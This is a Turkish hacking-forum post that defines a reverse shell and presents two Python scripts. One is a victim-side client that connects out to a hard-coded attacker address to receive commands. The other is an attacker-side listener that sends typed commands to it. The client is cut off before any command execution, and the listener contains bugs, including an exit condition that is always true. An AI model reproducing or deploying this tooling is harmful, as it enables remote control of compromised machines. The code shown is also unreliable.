Hoşgeldin Misafir

Python TCP Reverse Shell

|^KahiN^|

24 Eyl 2020
414 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Reverse Shell Nedir:​

"Ele geçirilen sunucu; netcat, yada python, perl vb programlama dilleri ile yazılmış scriptler ile saldırganın bilgisayarının dinlemede olduğu bir portuna bağlantı talebi gerçekleştirmesine dayanmaktadır."​


Python ile yazdığım örnek:​

Server.py​

PHP:
import socket
import subprocess
port = 6161
ip = "192.168.0.28"
def yolla():
   s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   s.connect((ip,port))

   while True:
       komut = s.recv(1024)
shell.py​
PHP:
import socket
port = 6161
ip = "192.168.0.28"
def yolla():
   s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   s.bind((ip,port))

   socketaddr,ipaddr = s.accept()
   print('[+]Baglanti basariyla saglandi ', ipaddr)
   while True:
       komut = input('[*]Komut> ')
       if 'cikis' or 'exit' or 'finish' in komut:
           socketaddr.send('cikis')
           socketaddr.close()
           break
       else:
           socketaddr.send(komut)
           print(socketaddr.recv(1024))
yolla()